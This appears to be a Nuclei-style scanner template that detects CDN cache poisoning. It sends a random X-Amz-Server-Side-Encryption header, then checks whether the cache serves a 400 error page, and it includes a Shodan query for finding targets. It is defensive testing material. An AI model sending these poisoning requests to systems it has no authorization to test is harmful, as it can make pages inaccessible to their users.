36 lines
1.2 KiB
YAML
36 lines
1.2 KiB
YAML
id: cdn-cache-poisoning
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info:
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name: Misconfigured CDN Cache Poisoning via X-Amz-Server-Side-Encryption Header
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author: 0xcharan
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severity: unknown
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description: |
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When the X-Amz-Server-Side-Encryption header is sent with user controlled value, it can lead to a misconfigured CDN cache response with a 400 status code, making the page inaccessible.
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reference:
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- https://portswigger.net/web-security/web-cache-poisoning
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metadata:
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verified: true
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max-request: 2
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shodan-query: X-Amz-Server-Side-Encryption
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tags: cache,aws,poisoning,cdn,misconfig
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variables:
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string: "{{to_lower(rand_base(8))}}={{to_lower(rand_base(8))}}"
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http:
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- raw:
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- |
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GET /?{{string}} HTTP/1.1
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Host: {{Hostname}}
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X-Amz-Server-Side-Encryption: {{randstr}}
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- |
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GET /?{{string}} HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_2, "{{randstr}}")'
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- 'status_code_2==400'
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condition: and
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# digest: 490a00463044022041758625af51c009cc57f2a885f93c9f37a44976b4ca57bb7ea26323a5ea72a302202fd18c53b827cd725e597d9519dace39008e3e8c0b85e60399fa00f427fd18ae:922c64590222798bb761d5b6d8e72950 |